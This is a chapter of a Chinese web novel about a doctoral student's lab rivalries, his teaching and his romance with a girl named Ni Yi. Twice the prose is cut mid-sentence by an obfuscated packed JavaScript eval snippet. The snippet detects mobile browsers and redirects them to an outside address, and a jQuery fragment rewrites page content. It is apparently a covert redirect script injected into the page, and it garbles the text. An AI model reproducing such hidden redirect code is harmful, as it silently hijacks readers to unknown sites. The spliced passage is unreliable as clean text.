这样畅阔捭阖的论调,世间又有几人有这觉悟?熙熙攘攘的,都是利字当头。 你愿意陪我嘛?倪旖问。 倪旖一席话拉近蒋商鉴与她的距离,但蒋商鉴对于谨慎是无师自通的,他不敢贸然接受这份奢侈的善意,他心里久违紊乱起来,暖暖的,让他觉得很奇异。 蒋商鉴没有回答她。 倪旖啊,要知道你一直跟我同频共振,我至少会有些安慰的,也不会如此排斥你的,可这虚无生物主义是万劫不复。 蒋商鉴心里说,但自尊使他没将这话说出。 蒋商鉴笑笑,现在倪旖给他的感觉很奇妙,不仅仅只会勾起潜藏心底的怒火,还会会牵动他内心深处的怜爱,激发起他想继续探索的勇气,他也不会再孤独的。 “挺好,需要用外在力量达到翻身奴隶把歌唱的目的。”妃子挤眉弄眼的,见他呆愣着,继续传授所谓经验,给这不上道的傻叉科普,“有个真理,那就是,马无夜草不肥,人无外财不发。” 蒋商鉴没回答。 妃子继续喃喃自语:“你得有个贤内助,出生,高考,结婚,只有这三次能跨越阶级,权力跟特么艾滋似的,靠血液传播,高考在这个时代就是个屁,咱这博士学历不算低,混成这鬼样子,出生都靠投胎技术,你唯一能把握的,只有跟谁结婚。” 蒋商鉴沉默着。 妃子掰着指头,眨巴眼睛:“我倒想追倪旖,她看不上我的,就喜欢你,天大的机遇,赶紧上,别错过了,倪旖可不是一般贵人。” 蒋商鉴脸色一瞬间由残留的一丁点温和微笑变得冷若冰霜,像不耐烦地扯下一副面具,皱着眉压低声音道:“她很特别,干净得像实验室凝态水,我很珍惜。” 有的时候,眼光会比言语更刺人。 果然,妃子在蒋商鉴锐利的眼光下瑟缩。 “但你很难再遇到一个你喜欢的同时能帮助你的女人,还是珍惜吧。” 蒋商鉴淡漠道:“你真的是坏到我都有点佩服了,虽然仍旧很讨厌这副尖嘴薄舌的腔调,但这种精致利己的水平,也是个枭雄啊。” “嘴巴毒辣。”妃子察觉蒋商鉴情绪异常,便不开玩笑,装作随意嘻嘻哈哈将人拉扯到楼梯转角处,早八还有半小时,人还较少,时不时从远处传来踩地板声。 “干嘛?”蒋商鉴把他胳膊甩开。 妃子眨眨眼十分八卦:“今天上班总算不丧着脸?” 博士的人将研究当成班上就很正常,都是为了那个证,科研早就不单纯了,简洁来说,就是想在学者明星化的世界里沽名钓誉而已。 就蒋商鉴那傻缺是个一眼能从嘴巴看到□□的直肠癌,死气白咧板着脸不接受舔导师思维,自然讨不得领导欢心,被欺负成这么个熊样儿,要不是够强悍科研实力和恐怖智商水平,早让人踹出去,还轮得着被穿小鞋这低端嫌弃方式? “上班给我整出单枪匹马、孤立无援的创业感,小老板给我重新安排的那个组就我一个人干活,成果第一作者还给他的那个她,谁能天天保持热情?” 蒋商鉴瞬间耷拉着脸,光是提到小老板,那种窒息感不断扩散,顿时感到周围的世界像一个口袋般收紧,一切向他投掷而来,逐渐逼仄。 “遇着什么好事儿这么高兴啊?”妃子转移话题,笑嘻嘻。 “高兴个屁。”蒋商鉴就死鸭子嘴硬。 “就你嘴角都咧到耳后根,龇着大牙嘎嘎乐,跟洞了房似的爽翻天啊。”妃子故意说些不着调的话引起他的辩驳。 蒋商鉴掩饰不住嘴角笑意:“也没事儿,就被小姑娘不小心碰到嘴巴而已。” “就这?”妃子好失落,“就碰碰嘴皮子的事儿,笑得好不值钱啊你,没出息。” “我就笑。”蒋商鉴傲娇道,还回味那触感,那么美好啊。 第一次是倪旖在车里亲他的。 第二次是沙发上他主动接吻的,真正意义上的吻,湿湿的。 第三次倪旖短暂舔他嘴巴。 妃子拽他衣袖,抛媚眼,用手指指他脖颈:“不只是碰碰那么简单吧?” “被山上森林树枝剐蹭的。”蒋商鉴脸颊绯红。 “你是被山上女鬼种草莓了吧?”妃子笑嘻嘻,那个山也是特指倪旖家靠海靠山的别墅山庄。 蒋商鉴抬手给他一拳,见他仍然笑得暧昧,嫌弃道:“你有点受虐倾向。” “对,没错,我就是M。”妃子大大方方的,继续猜,“狐狸妹妹吸了阳气?被僵尸咬了?” 蒋商鉴哼一声,严词:“只是被山里的树枝刮到了,并不是什么被僵尸咬了、被狐狸妹妹吸阳气了、被鬼种草莓了,望周知。” 妃子摆摆手,就满眼嫌弃:“人家在高速上狂飙了,你还在玛卡巴卡。” 窗外街悬铃木各自往路中央伸出枝干,蒋商鉴就像被阻塞绿意拱廊中,筛下零碎阳光,落在洁白脖颈上,鬓角细细汗滴闪着微光,领口有一颗若有若无的小朱砂痣,差不多跟红笔点上似的。 突然,妃子扯住他衣袖,斜着眼睛跟密探交流似的。 “我问你几个问题,如实回答啊。” 虽是不解,蒋商鉴还是点点头。 “你最爱吃的菜是什么?” “牛油火锅。” “你最爱喝的茶是什么?” “雪山银针。” “你最爱吃的糕点是什么?” “桃酥。” 蒋商鉴蹙眉顺着他的问题回答。 “哦哦哦,牛油,雪山银针,桃酥,桃酥。”妃子自言自语。 “问这个干嘛?”蒋商鉴瞥见他手腕带着从未见过的劳力士彩虹迪通拿,结合他经济和抠搜性格,估计人送的。 “随便问问,这么多年,都不记得你喜好,突然想起来才问问的。”妃子摸摸后脑勺,悻悻离开。 蒋商鉴浅叹口气。 这人真是利字当头,把他卖掉,还让受害者光明正大得知人口贩卖事件。 蒋商鉴微微歪头,目光跟着那拾级而上频频回头的妃子,唇角勾起一抹似是而非的笑:“你又害我。” 话音落下,蒋商鉴看到了妃子微微眯起眼睛,带着警告的意味。 “她送你哪种表?挺会来事的小朋友,知道我跟你关系近,酸哥那是黑水鬼,海星是绿水鬼。” 不愧是精英,要对一个人好起来大可以丝毫不露形迹,绝对润物细无声,非得雷霆暴雨。 这就是撑脸面的。 “我这辈子都挣不了那些表。”蒋商鉴恨不得撕了妃子,朝他挑了挑眉,以示挑衅和威胁。 历届宿舍贩卖人口事件都可以搞成排列组合贴在墙上公示。 妃子顶风作案。 平时那接受小恩小惠如沐春风啊。 天气预报难得准确,清晨窗外果然淅沥下起小雨,风撞窗框发出轻微一丝丝的“哐啷”声响。 身子骨被这潮湿养懒了些,恰巧遇着同课题组博士师姐,叫人时都显得温吞。 “师姐早。” 实验楼早八那人流量比巅峰时期大姨妈还难估计,人潮熙攘,喧声闹语,师姐纤小身量,被推来搡去,让她颇是无奈。 “早,看,我有新变化吗?”师姐转圈圈炫耀,用手随意撩一下头发。 蒋商鉴仔细辨认微微蹙眉:“……头发变多了?” 师姐一副吃掉苍蝇模样,连带她从来就平缓的心跳猛烈颤了颤:“你大爷的,老娘明显二次发育,头发剧增。” 蒋商鉴憨憨点点头。 师姐拽着高跟鞋拖着小身量一撩头发就转身,高亢道:“直男癌。” 蒋商鉴攒揉眉心,淡淡道:“可是师姐,你假发片掉了。” “……”师姐脸垮掉,丝毫不停留猛地扎进人海去,“不是我的啊。” “要不我帮你捡起来?”蒋商鉴试探道,女孩子心思千万别猜,容易死。 “下班给我。”师姐低声道。 偶遇刚搁办公室出的辅导员,师姐点头示意,并肩前行,嘟囔道:“我记得姓蒋的以前都爱搭不理,这次怎么动起真格来了?还能玩笑。” 同年级朋友道:“难道…他触碰到了你的逆鳞?如此挂着他变化。” “去死,”师姐恨不得捶死她,一个眼刀丢去,“我对象刚找着,你千万别给搅黄,我都是快三十的黄花菜。” “相着呢嘛?”辅导员微微错愕。 “快啦快啦,快结婚啦……” “你瞅着蒋商鉴那哥们人手一劳力士,该不会背着咱抢银行?” “我去,居然不带咱一起。” 蒋商鉴目送俩人远行,蹲地面用餐巾纸包那坨假发,隔点距离有点嫌弃避着,快步溜达回工位给师姐桌面放着。 蒋商鉴耳朵两侧烧到脸颊,热得想把衣服给脱掉,领口衬衣扣得太紧,脖子勒得慌,使劲扯扯,留点缝隙喘气。 蒋商鉴习惯攥着一罐冰可乐往嘴里灌,强忍着喉咙间微微痒意,用微凉腕骨擦擦唇,有点湿润氤氲开来。 办公室有个卖净水器的狗蹭过来宣传学校垃圾分类环保政策推销,那狗是小老板小蜜,特矫情,猛不丁问:“你知道你喝的饮料多么不健康吗?” 蒋商鉴没搭理她。 实验室新来师弟丁越青缓缓呷口茶,自然而然阴阳怪气替蒋商鉴说话:“商商师兄身体缺乏灵性,对自然界能量感应极差,不像师姐啊,下半身全是寒气,上半身全是火气,内脏里全是湿气。” 推销净水器师姐脸成酱紫色。 这不妥妥讽刺她。 师弟丁越青继续嘴炮:“是吧?不然哪来的太上老君一气化三清呢?” 师姐一时气得语塞。 师弟丁越青继续贴脸开大:“每次瞅着师姐啊,满脸都写着小官僚与小个体户的故事,还是上不了台面的那种世俗。” 师姐咬牙切齿:“魅力懂嘛?” 师弟丁越青跟老婆娘唠嗑似的牛掰,用最礼貌语气说出最直击人心的话,淡淡定定道:“宝了个贝的,小心我一枪把你爱死~” 再不制止得出事,蒋商鉴脸色微微泛白,自顾自喝一口冰可乐,垂眸淡淡敷衍道:“我已经决定了,吃喜欢的东西,过短命的人生。” “……”小蜜一愣,觉得这怂包同门跟长翅膀硬了似的,还敢当面顶撞。 本来被那有家底的师弟丁越青怼就难看。 想着找个软蛋欺负欺负。 □□早就说过,知识分子的学术圈实在是庙小妖风大。 蒋商鉴决定直接摆烂,懒得再给小老板的小蜜面子,反正他都决定出国留学。 小蜜踩着高跟鞋跋扈自恣道:“蒋商鉴,你还想要推荐资格嘛?” “不要了,”蒋商鉴微微垂眸带点倦意,连嗓音都带着凉意。 丁越青连忙跟着补刀:“还有啊,那狗就喜欢你这种妖艳贱货,恶心俗套的爱情怎么能玷污你们之间纯洁的金钱关系。” “你!”小蜜气得冒烟,指他鼻子正准备破口大骂,又无法反驳。 “最好闭上嘴,让别人只是觉得你可能是个笨蛋,而不是张嘴说话,使他们完全肯定。”蒋商鉴淡淡补刀道。 “能动手就别吵吵,不行你俩打一架!磨磨唧唧的!”可能被影响思路,蝉联四届的卷王女霸王不耐烦道,猛地一下锤击键盘,闷闷声让气愤更焦灼。 蒋商鉴默然,自顾自朝目的地走。 女大佬笑得疲倦潦草,一点点拧开喜糖的螺纹糖纸,叹了口气,又朝反方向拧紧:“商商,打不打啊?” “有些人很卑鄙,软的欺侮,硬的怕。至于我嘛,我是个男子汉大丈夫,我不干那些卑鄙勾当。”蒋商鉴跟大师姐解释,这姐平时就暴力帮助他。 “老妹儿,幸亏啊你依然没负隅顽抗,要是这样刺挠我,估计你早就已经被打成猪头。安静点,啊~乖~” 女大佬笑着威胁,手上动作不停敲字,言语间全是不耐烦,多一秒,就是能二话不说拿水果刀削人的,每天上班够烦,还有人朝枪口上撞。 小蜜敢怒不敢言,鼻孔快憋冒烟。 大师姐微微偏头,冷漠道:“跟大飞蛾似的,文雅点,蝴蝶,挡着光,麻烦一秒之内赶紧闪开来。” 众所周知,蝴蝶是完全变态生物。 实验室几位卷王竖着耳朵听,连瞳孔都微微放大,战火纷飞,终于开始,平时欺辱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250174|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨绝人寰,反击,反击。 女大佬也都不装了,笑都不笑,冷冰冰威胁:“我要是商商,早就得干死那个老不正经的,还有你这个小不正经。你俩,是死有余辜。” 路过师弟丁越青不给好脸,将她手里那罐未开封可乐夺来,小蜜就冷不丁一愣,师弟翻个白眼:“拿来吧你。” 仗义执言的师弟丁越青刚来课题组,暑假过来帮忙,本科破裂加入课题组实习,血气方刚,扭头特猛对喜欢的家教老师放肆表白,虽然早就有对象,大大方方憨笑:“别以为我刚来几天就没长咱406的骨头。” 406是门牌号。 他时不时赖在蒋商鉴宿舍打麻将。 “是是是,骨质增生型人才。”蒋商鉴笑道,转身将手机备课文件投发复印机器,自己则去厕所洗手,微凉水流掠过手背引起一阵颤栗。 “你早该反怼那女的。”师弟跟他屁股后面蹭上去,瘪嘴压低声音道。 这师兄老师对他半搭不理,不就上次故意装gay被吓到留下阴影,这么老些年都生气,连个微信都不通过,有事邮件或者电话,几天前联系还是找学习通联系方式。 “得失我命,你来啰嗦。”蒋商鉴用凉水擦擦脸颊降降温度,不知怎的,今天脾气压不下去,一冲动就开火。 师弟丁越青看他时一脸崇拜,觉得贼帅,随便一扭,不知道这酸奶盖子这么好拧开,可却要下意识像个食蚁兽一样舔酸奶盖,一时错愕,是他蠢还是谁蠢。 蒋商鉴微微蹙眉。 察觉情绪,师弟崇拜道:“哝,你也舔一口~” 蒋商鉴满脸排斥。 师弟丁越青就无辜委屈:“所有人都关心你飞得高不高,只有我关心你飞得累不累,你得有点数,毕竟这种人真挺少的,你得珍惜。” 蒋商鉴往后躲躲,嫌弃道:“你飞得累不累?” 师弟丁越青神色喜悦,那就一个精神,拍着胸脯杠杠道:“不累。” “那你怎么不飞得高一点?”蒋商鉴白眼,兀自离去,还特地避开他,跟以他为圆点绕半弧形似的,“这段子真老,时代的眼泪。” “咋啦?那脸这么红?又被调戏了?”海星哥也从厕所出来,感应洗手池搓着呢。 那难得关心表情就跟此刻脆弱的蒋商鉴有种在痛经的感觉,海星是来关心他的姐妹。 蒋商鉴不想说话。 “你肾虚啊?肾呢?” “刚挤公交挤没了。” “……”海星无语,“什么感觉啊现在。” “亢奋,想在血液里游泳,控制不了情绪,现在就想吃个小孩缓解一下。” “……” “可能有点发烧。”蒋商鉴看起来奄奄一息,懒撒耷拉脑袋,微卷半长发潦草散着,一只手紧紧扣在大理石洗手台边缘,攥得极紧,青筋狰狞,连带着衬衫宽袖都在颤抖,像是……难受极了。 海星哥用手背测测他额温度,一愣后破口大骂:“烫手,你昨夜不归,泡妞太累,都发烧了,去医院打点滴。” “没泡妞。”蒋商鉴嘟囔。 “你脖颈喉结都被种草莓,骗鬼呢。”海星说话直接,估摸着一路人都看到没好意思问,为了大义凛然去缓解办公室人的好奇心他才不高不低音量询问,这下办公室工位暗恋他的女孩得难过死。 蒋商鉴僵硬着解释:“只是被山里的树枝刮到了,并不是什么被僵尸咬了、被狐狸妹妹吸阳气了、被女鬼种草莓了,望周知。” “哦,女的,还是个妹妹,她吧。”海星一下就猜到,毕竟这处男社交网络极其单薄,跟异性没多少联系,最近联系多的也就家世显赫的倪旖。 “不是。”蒋商鉴死鸭子嘴硬,每次提到倪旖名字,心上就发生一种哀愁,想将全部生命奉献而无所取偿给她。 “不是就不是呗,但我家商商还是出息了,会喜欢姑娘了。”海星自豪,随后搀扶着他,只不过被甩开。 “没事。”蒋商鉴垂眸时眼皮有些笑意,只是疲倦厉害,随时都能倒下。 “没事个头,我怕你领死亡救济金和工伤赔款,学校大字报黑白底弄得人死不瞑目,你就去医院啊,听着没,别杵着搞犟脾气。”海星拽着人往厕所外走,眉头紧锁。 蒋商鉴被拽得一踉跄,攥着门把手笑道:“我上完课中午去打点滴,学生都在教室,我今天理论课和解剖实验,还得撑着点,不好调课。” “行,我扶你去。”海星搂着他腰腹怕他倒地不起,一面还抱怨,只是嘴硬心软,满脸都是关切,“你现在吸口气都像能噎死,悠着点。” “没事。”蒋商鉴挣脱束缚,“我还没死,只是发热。” “我都怕你发硬,”海星护着踉踉跄跄一路的蒋商鉴,“你昨晚几点睡的啊?老弟,淋雨啦?” “没,昨晚跟小孩吃红豆冰沙,着凉,我得现在问问小朋友有没有感冒发热,早上没注意。”蒋商鉴侧脸逆光源,肤色瓷白,近距离观察几乎没瑕疵,睫根根纤长,在光照下投出隐隐模糊剪影,着急掏手机问问倪旖小朋友。 “小——朋友?”海星真一下就明白,还装不知道。 “就倪旖,天太晚,我在她家住,她弟弟睡觉磨人,老缠着我,死命搂我腰,睡不着,小孩失眠也溜达出来,就比拼速度吃半宿红豆冰沙。”蒋商鉴咳嗽两声,微微蹙眉着,神情担忧,接吻也不知道小朋友有没有被传染,最好不要,不然他会愧疚死。 “居然把我商商弄感冒,下次见到揍她一顿。”海星有点心疼望着他。 蒋商鉴无奈道:“你和她打架一九开吧,她一拳,你成九瓣裂开。” 海星愤愤不满:“哪有那样的,顶多三七开,她三拳,我头七。” “算你有自知之明。”蒋商鉴满脸倦意抬眸,眼皮都耷拉着,消息倪旖不回。 “她还有弟弟?”海星揉揉鼻尖。 “嗯,挺会撒娇的小男孩,先去教室。”蒋商鉴将复印机文件攥紧夺门而去,脚步晃悠悠,跟踩云朵似的漂浮绵软,动两步就小喘。 “你走这么快,有鬼撵你啊?”海星瞅着他背影嘀咕,不过喘得还挺色情。 一声长长的、微弱的叹气后,海星缓缓睁开眼睛,无奈发条朋友圈,找个他看得上的来救救。 蒋商鉴那背影挺倔强。 海星一直觉得这姿态特帅,暗暗模仿过几回,却总不谙要领,但按酸哥骚话说,这是做作与拿劲,得那种顶级帅哥来矫揉造作才有感觉。 蒋商鉴就有一股高高在上堕落感。 岌岌可危。 这别扭劲儿没人能学。 想他绝对忍忍就过去,不会看病的。 海星微微叹息。 低头敲字。 配上嗝屁表情包。 毛利兰:来个人,商商快硬了。 35.好醋 妃子秒回:这居然没被和谐。 海星顿感无语,这事儿都能想歪,不是啥好人,全世界就他如此猥琐。 倪旖自认为很懒惰,确实也是如此,但凡能够躺着,便不会坐起来,但凡能够坐着也不会站起来。 此刻倪旖就舒舒服服躺在沙发上刷朋友圈。 “卧槽,”倪旖刚刷朋友圈,瞅着那消息就疑云密布,硬了? 不是,哪儿硬了? 物理还是心理,亦或者……生理? 倪旖颤抖着手敲字。 倪旖:哀悼,那他颅骨我要,其他随意处置。 隔着手机屏幕被点名的蒋商鉴未置一词,正蹙眉看着手机,像在等谁的消息,桃花眼微挑散出淡淡笑意。 她怎么老惦记人脑袋? 还一个劲盼着他死。 蒋商鉴抿唇敲字回复。 蒋商鉴:有生命迹象,人还没硬。 嗣后,倪旖整个一尴尬,在客厅蹿得跟跳蚤似的,生怕思考,真是多想一秒就得结束自己生命。 表面平静疏缓,却敲不下一个字。 在某一瞬间的激昂冲动之下,倪旖又心跳加速地敲下一行字。 倪旖:不小心发错朋友圈。 蒋商鉴:真的嘛? 倪旖脑补一下娇嗔的语气,骨头都酥了,又有点尴尬。 倪旖找回面子似的给他私信。 倪旖:你就是硬了。 蒋商鉴扶额,真要厌恶自己,只好忽视这茬转移话题。 蒋商鉴:看消息了嘛?有没有感冒? 感冒?就是蒋商鉴接吻传染嘛? 倪旖都想尖叫,但还是回复没有。 蒋商鉴略微疑惑,直接语音:这都不感冒?好强的免疫力。 这低沉又黏黏糊糊的声音真的太撩人了。倪旖那芳心都开出花来。 倪旖没再解释,只是手机信息栏往下一滑,蒋商鉴室友妃子发消息。 这个妃子被策反。 是间谍。 妃子:你知道蒋商鉴是个工作狂,没人盯着他继续卖命工作死讲台咋整? 妃子:我回宿舍后人都硬了。 妃子:小老板情人辱没他,今天被怼回去,很爽,不过,他得遭殃。 倪旖眼神微微黯淡,流转开来就是冰凉狠劲,什么东西敢欺辱她的商商,看来得早点出手搞人。 她不背刺你,她直接弄你。 倪旖回复妃子微信。 倪旖:她叫孙婉星是吧? 妃子抱着手机搁工位微微发愣,她家估计有公安背景,还能查资料。 倪旖翻找联系人,点击前几天找到亲戚,拨通电话举到耳边笑道:“婶,再麻烦个事儿,上次拜托你查的婊子特烦,你把她踢吧踢吧走。” “她怎么着卡卡呢?”对面笑道。 “她动我的人。”倪旖很认真道,指甲死死扣着边缘,指腹微微发粉,简直就是气愤至极。 “啊?”婶婶一愣。 倪旖懒得多解释,只是强调:“我明天就要她滚,身败名裂那种。” “卡卡,那女的整整倒无所谓,她那骈头的岳父刚退休得给个面子,咱先不身败名裂,顶多冷处理弄走。”婶子算计得厉害,条理清晰给倪旖展示利弊。 “那我想把那骈头夏枫弄身败名裂,最直接有效办法有嘛?”倪旖虚心请教,毕竟这学问大,稍不注意误伤就糟糕。 婶子贼得厉害,幽幽道:“你去他那老丈人的古董铺买假古董换护身符,先让骈头吃个哑巴亏再从长计议,我们线下慢慢聊。” “好的。”倪旖聊两句关键词便挂断电话,穿着校服马不停蹄就翘课去找蒋商鉴,那蠢货不懂保护自己。 早八课堂静得能隐约听到timi声音,还能听到此起彼伏的打呼声,和手指划过屏幕的声音,最关键是,timi有课堂静音器效果,紧接着就是一波狂笑。 蒋商鉴费力抻着胳膊,气若游丝到有点涩情呼吸间,尽量正常道:“先来学习通签个到,位置签,三十秒。” 一阵哗然。 前排粉衣服姑娘偷偷凑到闺蜜耳边:“他下面夹东西了?” “我也觉得,今天连呼吸都好erotic。”白衣服女孩点点头。 “你信他是00后?”粉衣服悄咪咪说八卦。 “你信他是0?”白衣服刚刚在包里翻书,没听着。 “他等会儿一定能出水。”粉衣服笑得很猥琐。 蒋商鉴本来打算装听不见的,可是一咳嗽,连茶水都喷出来。 “茶从嘴里喷出来也算出水?”白衣服嫌弃道。 “手机卡顿错过签到也算没来。”蒋商鉴把手肘撑在多媒体桌上,身体前倾,眼睛在无框镜片眼镜后面调皮地眯了起来,小声补充,“作为你们老朋友,当然要以礼相待。” 透过窗的海风肆意,手一撑,长袖子伸出来,被风撩起,一摇一摆,像是一个无形的人在那里走路,绕着他。 前排姑娘就跟放风转移视线似的探头道:“要不放首歌?还没上课呢。” 蒋商鉴只是玩笑着回了句:“但我不能放歌。” 其他人笑嘻嘻道:“再别康桥?好有文化。” 一个女孩脸颊绯红,指着他脖颈,难过询问:“蒋学长,你有对象了?” 蒋商鉴摸摸喉结,无奈叹息:“被山上树枝刮了。” “你觉得我瞎嘛?”女孩脑袋垂下来,幽幽道。 “只是被山里的树枝刮到了,并不是什么被僵尸咬了、被狐狸妹妹吸阳气了、被女鬼种草莓了,望周知。”蒋商鉴再次解释一遍鬼话。 “我心碎了。”女孩叹息,抬头难过道,“你都有黑眼圈了,乌黑乌黑的。” “不要瞎想。”蒋商鉴直接打破她们的瞎猜。 白衣服突然认真:“她是大一新生的嘛?” 蒋商鉴摸摸锁骨上吻痕,意有所指道:“她的业务水准,大二的。” 蒋商鉴转移话题,一抬眸就瞅着不注意形象的男大学生那恶心穿搭,咳嗽两声开玩笑。 “某些同学那独特穿搭总可以带来新鲜度,简直是视觉盛宴,里面大嘴猴睡衣,慵懒随意,外面防晒风衣,复古神秘,下面老太风花裤,吉祥如意,脚下人字凉拖搭配毛袜,保暖潮气。” “……”某男裹裹风衣满脸倔强,直接反驳,“能遮住就行。” 蒋商鉴耐心给曾经家教的男生丁越青补充说明:“是嘛?我瞅着你身上凑齐一年四季。” “商商师兄,你真是,哎呦。”丁越青被其他同学看着略显窘迫。 “是不是勺道的人都有问题?”蒋商鉴示意他坐下来,刚才实验室没注意他衣着。。 “我这是时尚的前沿。”丁越青那家伙骄傲的。 “上课啊,傍晚实验课记得来,就解剖青蛙兔子白鼠而已,不要害怕,受不住的就上完课再吃晚餐。”蒋商鉴揉揉额,咳嗽两声。 “你感冒啦?”丁越青抽出课本,偏头疑惑道。 “有点。”蒋商鉴尽量调整呼吸,只是喘不上来气,带着一股事后慵懒。 “我刚好有甘草片,你咳嗽含一片好点,”丁越青说罢便从背包翻找药瓶,眨眼间便攥着那深褐色药瓶高高举起,只是笑得可真蔫坏蔫坏的,“小测?” “……”蒋商鉴都被他蠢哭,咳嗽两声,“这位朋友算盘打的声音那失聪三十年的楼下保安大爷都听见了。” “太难吃了,我愿意挨一大嘴巴子都不愿吃甘草片,你尝试一下?”丁越青潦草解释,企图转移话题。 蒋商鉴接过药瓶,朝掌心倒了几片便塞嘴里,表情倒是没多大变化,随后递还给他,瞅着他一眼,这样色的谁都会觉得是搁着穿越过来的贝勒爷。 “三块。”丁越青笑嘻嘻要钱。 蒋商鉴简直无语,抬头瞥一眼后继续拿卡开多媒体桌面,淡淡道:“说你是铁公鸡我是不乐意的哒,明明是个瓷哒,连点铁锈都刮不出来!” “这话说的我不高兴,”丁越青瘪嘴委屈,随后话锋一转,“……十块。” “我撤回吐槽,这明显是糖的,不但扒不出,反倒还要被粘去一堆。”蒋商鉴用眼神示意他别瞎哔哔,搞正事。 虽然蒋商鉴的闷气生得毫无征兆,丁越青比大肠还直的脑子是不可能想通,他敷衍般点点头,他蓬乱的短发竖起,如一簇不驯从的火焰。 “你这甘草片加了薄荷,就感觉特别像吃了一片冰川时代冻了一亿多年的老树叶,肺里像吸了一大口西伯利亚冷空气。”蒋商鉴慢悠悠吐槽,不知何时跟倪旖说话语气都相似,可能脑袋里面装了个人时刻想着,时时刻刻受到影响。 丁越青耸肩:“我朋友给的。” 蒋商鉴短暂瞬间脑海又浮现倪旖笑脸,第一次见面,刚睡醒那惺忪眼神,怎么会有人马尾乱糟糟的也这么美…… 蒋商鉴满脸有不自知姨母笑,熟稔刷教职工授课卡点开电脑,低头从手机微信点击登录电脑,传输文件,虽然可以用盘插,但是小物件里有论文,容易出事,不敢随身携带,怕丢。 衬衣在腰间皱得像狂风刮过的野池塘,蒋商鉴摸着鼠标等破校园网登录,只是有消息突然来,红点特鲜艳,强迫症不得不点击聊天页面。 丁越青脸色微变。 其实强迫症是借口,他就是想立马回复小朋友的消息,怕她着急联系不到人,而且,他很想和倪旖说话,什么话题都行,连废话他都高兴。 小可爱:这个退烧药可以么? 不等反应过来,还没打铃,课堂微微躁动,蒋商鉴轻轻挥了挥手示意保持安静。 起哄声更大。 蒋商鉴慵懒撑着额,浅浅一笑,心脏附近堆起一股说不清道不明的热气,察觉情绪便深吸一口气,然后慢慢吐出来,但发热因素,头脑持续发昏。 起哄声此起彼伏。 蒋商鉴咳嗽两声,明晓那些小混蛋们全都爱八卦,便轻描淡写解释:“大家都知道小可爱社会意思。” 小可爱,就特么小傻逼文艺讲法。 倪旖才不是傻逼呢,她最聪明,不仅聪明,还可爱,还漂亮…… “过段时间大家都会知道是谁,上课吧,一堆小可爱们,来,谁再唏嘘,下次小组作业第一个发言。”蒋商鉴也还有点傲娇的,才不愿意透露她和倪旖那种暧昧关系,就是不愿意他们知道倪旖这个人,又想炫耀。 丁越青微微错愕,疑惑:“都知道?不是,倪旖?” “是的。”蒋商鉴倒是意外,随之而来有点郁闷,居然被意外透露倪旖姓名,这丁越青真讨人烦。 “商商,方不方便——” 话还没说完,便被打断。 “不方便,”蒋商鉴怨气十足,手不停,将文件拖拽桌面,火速退微信界面。 丁越青着急道:“你以为她没朋友是因为地位高?是因为她坏,银河里流的全是她肚子里的坏水。” 只是微信连续蹦哒消息。 小可爱:师哥,我水泼裤子上了。 蒋商鉴敲字回复。 蒋商鉴:啥? 小可爱:倒水撒了一地嘛。 蒋商鉴:你特么是猪嘛? 明明想说小香猪的,还是嘴硬,倪旖小朋友就算是猪,也是可爱的那种类型,才不是蠢猪,可爱是褒义词,才不是傻逼的意思。 小可爱:…… 一片哗然。 蒋商鉴赶紧断掉微信PC端。 “我听到有人偷笑,偷笑的人都宕掉。”蒋商鉴威胁道,只是嘴角浮着微笑。 缄口不言是傻子,所谓法不责众,众人满脸好奇望着蒋商鉴。 蒋商鉴被一堆钛合金狗眼闪瞎,无奈道:“社团说法,一二年级叫小骨头,三四年级叫老骨头,没有学籍出了校门因为感情还愿意回来一趟就叫骨灰,骨灰级人物。小骨头过仨月就过来念书,骨灰级玩家当然要欢迎。” “切——,就她还小骨头,老油条一个。”丁越青貌似和她很熟稔。 蒋商鉴酸溜溜的,现在性别异性的人提到倪旖他都难受,直愣愣望着他。 丁越青慢悠悠吐槽:“我跟她被拉郎配,家里面父母都挺熟的,不出意外,就那啥了,但我不乐意,就她,反正我都有对象,怎么可能嘛~” 霎时间,蒋商鉴感觉全身关节、骨骼、胸腔、头颅一起碎裂。 那种可以一瞬间心跳停止,然后又在下一瞬间让心脏发疯似的剧烈迸发。 蒋商鉴一声不吭,生理性恶寒以及微微凉薄的衬衣,像一个巨掌将他攥住,他甚至听到自己莫名恨到牙齿使劲咬着、在神经跳动带动下发出“咯咯”声,后来这声音也消失了,接下来课程都冷冰冰,跟冤死鬼似的,是个人都察觉到杀气十足。 每个字都像飞快下降而凝固在大气里的冰碴子,一颗一颗仿佛扎在空气里的小图钉一样,就如此不知不觉渗透开来。 “您要是这个级别的博士,您大可以痛痛快快歧视我,如果达不到最低限度标准那还是与我同病相怜为宜。”蒋商鉴幽幽道。 蒋商鉴气得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此刻,倪旖搁出租车上迷瞪好会儿,被颠簸得困意十足,眼前疾驰飞速的海平面以及透明隔音高架玻璃罩围栏,快一个点才到目的地,拎着一袋东西又得来一遍刚才的折磨,就叹息。 “蒋商鉴,你何德何能?劳烦我去买药,不是我专门买的还不吃嘛?犟脾气,怎么不发烧顺便烧死你这个滚犊子玩意儿……” 骂了一路,司机都听不下去,打断道:“你这嘛呢?” 倪旖喋喋不休:“我男朋友,就早上你送的那一操蛋玩意儿,也不知道发哪门子神经,非得我去买退烧药才肯吃,是不是有病?好烦啊这老混蛋……” 司机揉揉耳朵,嘀咕:“那你不还心甘情愿给你跑几十公里给他买药。” 倪旖耳朵挺棒,非得傲娇狡辩:“我那是怕他死了没人伺候我。” 司机朝后视镜翻个白眼:“伺候你?不像,你这劲头足,他使唤你。” 倪旖争论:“才不是,他真是很会当仆人的,还给我做早餐呢,这可不是普通早餐,你听我慢慢跟你说,他提前起来准备的,还有小馄饨,熬的小米粥,煮好还提前盛起来放碗里怕我烫——” 司机一个急刹车。 